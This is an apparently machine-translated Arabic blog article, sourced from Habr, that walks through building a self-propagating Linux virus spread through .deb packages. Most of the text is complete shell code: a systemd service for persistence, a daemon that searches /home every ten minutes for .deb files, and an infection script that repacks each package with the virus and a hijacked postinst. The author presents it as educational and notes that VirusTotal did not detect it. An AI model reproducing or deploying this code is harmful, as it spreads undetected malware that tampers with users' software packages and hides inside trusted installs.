Trojan Penguin: صنع فيروس لينكس

لا ، لن أخبرك بكيفية كتابة برنامج الفدية الخاص بي ، أو التعدين أو استغلال ثغرة فائقة جديدة ، كما قد تعتقد. والأكثر من ذلك ، أنا لست متلهفًا على رفع العالم "هل Linux أكثر أمانًا من Windows؟ (نعم)". كان هدفي كتابة فيروس بسيط لينكس ، لا أحد ، إذا جاز التعبير ، "للمتعة فقط" ، وظيفته الوحيدة هي توزيع نسخته. حول ما فعلته ، سأقول في هذه المقالة. في النهاية ، سأقدم رابطًا إلى GitHub مع المصدر.

الصورة

تنويه


تمت كتابة هذه المقالة لأغراض تعليمية. المؤلف بأي حال من الأحوال يشجع القراء على انتهاك قوانين الاتحاد الروسي. يُرجى عدم تكرار الخطوات الموضحة في هذه المقالة دون القراءة الأولى للفصل 28 من القانون الجنائي للاتحاد الروسي.

وماذا سنفعل فعلا؟


بدا لي أن أسهل آلية تنفيذ لنشر الفيروس تنتشر عبر حزم deb / rpm المعدلة. حزم deb و rpm هي الآن أداة التوزيع الأكثر شيوعًا لنظام Linux. لقد اخترت deb ، حيث يسود عدد مستخدمي التوزيعات المستندة إلى Debian على مستخدمي Red Hat و "متابعيها".

من الضروري أيضًا أن يبدأ الفيروس تلقائيًا ، وبعد كل فترة زمنية معينة يقوم بمسح جهاز الكمبيوتر بحثًا عن حزم deb. لسهولة التصحيح ، اخترت فترة 10 دقائق.

ما هي حزمة ديب؟


حزمة deb هي أرشيف بتنسيق ar. لا يستخدم الضغط. هناك ثلاثة ملفات أخرى داخل الأرشيف: debian-bynary و control.tar و data.tar

debian.binary - ملف نصي يحتوي على نسخة من تنسيق حزمة deb ، في اللحظة التي يكتبون فيها دائمًا "2.0" هناك.

control.tar - أرشفة مع الملفات التي تحتوي على معلومات حول الحزمة (على سبيل المثال ، ملف التحكم المطلوب) والحزم اللازمة لتثبيت الحزمة (على سبيل المثال ، سكربتات postinst و postinst و prerm و postrm التي يتم تشغيلها قبل / بعد تثبيت / إلغاء تثبيت الحزمة). يمكن ضغطه باستخدام gzip أو xz ، وفي هذه الحالة تتم إضافة الامتداد .gz أو .xz إلى اسم الأرشيف ، على التوالي.

data.tar - أرشيف يحتوي على أدلة تحتوي على ملفات مثبتة. يتم تمثيل الدلائل من خلال شجرة ، والتي يجب استخراجها في شكلها إلى جذر نظام الملفات. يمكن ضغطه باستخدام gzip و bzip2 و lzma و xz.

نحتاج إلى الانتباه إلى ملف التحكم من أرشيف control.tar. يحتوي هذا الملف على معلومات حول الحزمة ، مثل المؤلف والوصف والإصدار وأولوية الحزمة في النظام ، وما إلى ذلك. أنا مهتم بمجال التبعية ، الذي يُظهر التبعيات (الحزم التي لا يمكنها العمل من دونها في هذه الحزمة). في هذا المجال ، سيلحق الفيروس الخاص بنا fakeroot و dpkg - الأدوات المساعدة التي ستكون مطلوبة عند تعديل الحزم الأخرى على الكمبيوتر المصاب.

لإنشاء حزمة deb ، يتم إنشاء الدليل الجذر للحزمة. يتم وضع الدلائل مع الملفات المثبتة ودليل DEBIAN الذي يحتوي على ملفات الخدمة ، بما في ذلك التحكم والنصوص البرمجية للتثبيت / إلغاء التثبيت ، فيه. ثم يتم تنفيذ الأمر fakeroot dpkg-deb --build ./path .

في البداية كان هناك شيطان


في وقت كتابة الفيروس ، كانت لا تزال لدي فكرة سيئة عما كان عليه كرون ، وبالتالي ذهبت بكتابة شفيعي الخاص لـ systemd . قمت بإنشاء ملف trojan_penguin.service ، والذي سيتم وضعه في الدليل / lib / systemd / system ، وأضفت إليه ما يلي:

[Unit] Description = XXX [Service] ExecStart=/usr/bin/trojan_penguin.sh Type=fork [Install] WantedBy=multi-user.target 

ExecStart = / usr / bin / trojan_penguin.sh - هنا أشرت إلى مسار الملف (إلى الفيروس المستقبلي) ، والذي يجب تشغيله عند بدء تشغيل النظام.

النوع = شوكة - يشير هذا السطر إلى أن العملية يجب أن تتفرع من العملية الأصلية.
لا أرى حاجة إلى ملف PID ، لذا لم أضيفه.
في أدلة كتابة البرنامج الخفي الخاص بك ، يقترح وضع ملفات الخدمة في الدلائل / usr / lib / systemd / system / أو / etc / systemd / system /. ولكن في بلدي أوبونت وجدت الدليل / ليب / سيستد / النظام. (حصلت على apache2.service هناك). ربما سيكتب شخص ما في التعليقات الغرض من هذا الدليل ، وكيف يختلف عن الاثنين الآخرين.

الملف /usr/bin/trojan_penguin.sh حصلت على هذا:

 #!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" #    ,    if ! [ -d $debug/var/log/trojan_penguin/ ]; then mkdir $debug/var/log/trojan_penguin fi #   , #   10  while [ 1 ] do list=$(find /home -name "*.deb") # deb- #        for line in $list do $debug/usr/bin/tp_infect.sh $line >> $debug/var/log/trojan_penguin/log # ,  ,      log done date > $debug/var/log/trojan_penguin/last_start #     (     ) sleep 600 # (60 * 10  = 10 ) done 

نحن نبحث عن حزم deb في قسم / home (أين يمكنني العثور عليها؟) ، تتم كتابة المسارات إلى الملفات الموجودة في متغير القائمة . ثم قم فقط بالتكرار على جميع الأسطر من السطر ولكل ملف نقوم بتشغيل البرنامج النصي tp_infect.sh ، والذي سيصيب هذا الملف. عندما كتبت الفيروس ، كانت البرامج النصية في دليل منفصل ، ومن أجل الراحة ، أنشأت متغير تصحيح كتبت فيه المسار إلى هذا المجلد.

البرنامج الخفي جاهز ، ويبقى تعلم كيفية تشغيله عند بدء تشغيل النظام. لهذا ، كتبت برنامجًا نصيًا لما بعد التثبيت . سيبدأ فورًا بعد تثبيت الحزمة المصابة ويشير إلى أن الفيروس يبدأ بالنظام. لقد وضعته في الدليل "/ usr / bin /" لنسخه من هناك إلى الحزم المصابة.

 #!/bin/bash #debug="/home/dima/Dropbox/Programming/projects/TrojanPenguin/TrojanPenguin" debug="" systemctl daemon-reload #  ,           systemctl enable trojan_penguin.service #     systemctl start trojan_penguin.service #  

تعديل حزمة deb


كما كتبت أعلاه ، يمكن أن يكون للأرشيفات الموجودة في حزمة deb أذونات مختلفة. لم أزعج نفسي ، وفكرت في الحالة فقط عندما يتم ضغط الأرشيفات باستخدام .xz. تلقى ملف /usr/bin/tp_infect.sh المسؤول عن التعديل المحتويات التالية:

 #!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" temp="$debug/tmp/trojan_penguin" #   mkdir $temp mkdir $temp/new mkdir $temp/new/DEBIAN #  ar -p $1 data.tar.xz | tar -xJ -C $temp/new ar -p $1 control.tar.xz | tar -xJ -C $temp/new/DEBIAN/ # control #  control     "Deepends",    "Deepends",   ,     . cp $temp/new/DEBIAN/control $temp/orig_control cat $temp/orig_control | grep --before-context=100 Depends | grep -v Depends > $temp/new/DEBIAN/control cat $temp/orig_control | grep Depends | tr -d '\r\n' >> $temp/new/DEBIAN/control echo ", fakeroot, python" >> $temp/new/DEBIAN/control cat $temp/orig_control | grep --after-context=100 Depends | grep -v Depends >> $temp/new/DEBIAN/control #    cp $debug/usr/bin/tp_postinst.sh $temp/new/DEBIAN/postinst #     ,    if ! [ -d $temp/new/usr ]; then mkdir $temp/new/usr fi if ! [ -d $temp/new/usr/bin ]; then mkdir $temp/new/usr/bin fi if ! [ -d $temp/new/lib ]; then mkdir $temp/new/lib fi if ! [ -d $temp/new/lib/systemd ]; then mkdir $temp/new/lib/systemd fi if ! [ -d $temp/new/lib/systemd/system ]; then mkdir $temp/new/lib/systemd/system fi #   cp $debug/usr/bin/trojan_penguin.sh $temp/new/usr/bin/trojan_penguin.sh cp $debug/usr/bin/tp_infect.sh $temp/new/usr/bin/tp_infect.sh cp $debug/usr/bin/tp_postinst.sh $temp/new/usr/bin/tp_postinst.sh cp $debug/lib/systemd/system/trojan_penguin.service $temp/new/lib/systemd/system/ # ,        ,    . fakeroot dpkg-deb --build $temp/new cp $temp/new.deb $1 rm -R $temp 

مشاكل ما بعد التثبيت


كل شيء سيكون على ما يرام ، ولكن الآن لدينا مشكلة. ولكن ماذا لو كانت الحزمة تحتوي بالفعل على postinstal؟ يمكن كتابة postinstal الأصلي بلغات مختلفة (python ، bash ...) ، ربما حتى ثنائي. لن يسمح لنا هذا بأخذ التثبيت اللاحق الخاص بنا وإضافته إليه. لقد قمت بحل هذه المشكلة على النحو التالي:

تمت إضافة الشيء التالي إلى البرنامج النصي tp_infect.sh :

 #,     postinstal.  ,      . if [ -f $temp/new/usr/bin/postinst ]; then cp $temp/new/DEBIAN/postinst $debug/usr/bin/tp_orig_postinst fi 

وفي مرحلة ما بعد التثبيت ، هذا هو:

 #      if [ -f $debug/usr/bin/tp_orig_postinst ]; then $debug/usr/bin/tp_orig_postinst rm $debug/usr/bin/tp_orig_postinst fi 

لقد قمت بحل مشكلة واحدة ، ولكن ظهرت مشكلة أخرى. سيقوم فيروسنا بتعديل الحزمة ، حتى لو كانت مصابة بالفعل. عند التعديل ، سيرى الفيروس أن هناك postinstal في الحزمة (وهو في الواقع لنا) ، قم بنقله إلى / usr / bin / ، وبالتالي الكتابة فوق الأصل. لتجنب ذلك ، أضفت علامة الاختيار إلى "tp_infect.sh" ، سواء قمنا بتعديل هذا الملف أم لا:

 if [ -f $temp/new/usr/bin/trojan_penguin.sh ]; then rm -R $temp exit 0 fi 

وضعها معا


الفيروس جاهز. هنا رابط إلى GitHub ، كما وعد. يمكن تجميع هذا الفيروس في حزمة deb منفصلة (تشغيل makedeb.sh) من المستودع. لحقن الفيروس في أي حزمة ، فقط قم بتشغيل الأمر:

 tp_infect.sh /  deb-/ 

يوجد نسختان من نصوص postinst في المستودع

DEBIAN / postinst - يتم تنفيذ هذه النسخة فقط عند تثبيت حزمة فارغة بها فيروس. لقد علقت عليه حتى لا يبدأ الفيروس بعد التثبيت ، ويعدل الحزم فقط عن طريق الأمر.

usr / bin / postinst - يتم إدراج هذه النسخة في الحزم المصابة.

الملخص


والاستنتاج واضح بدون هذه المقالة: لا يجب تنزيل البرامج وتشغيلها من مصادر لم يتم التحقق منها.

من أجل الفضول ، أرسلت حزمة deb الفيروس إلى VirusTotal للتحليل. في وقت كتابة هذا التقرير ، لم يكتشفه أي مضاد للفيروسات. هنا رابط التقرير. أتساءل كم من الوقت يجب أن يمضي ، وكم عدد المضيفين الذين يحتاجون للإصابة بهذا الفيروس حتى تنتبه مضادات الفيروسات إليه؟

Source: https://habr.com/ru/post/ar430460/


All Articles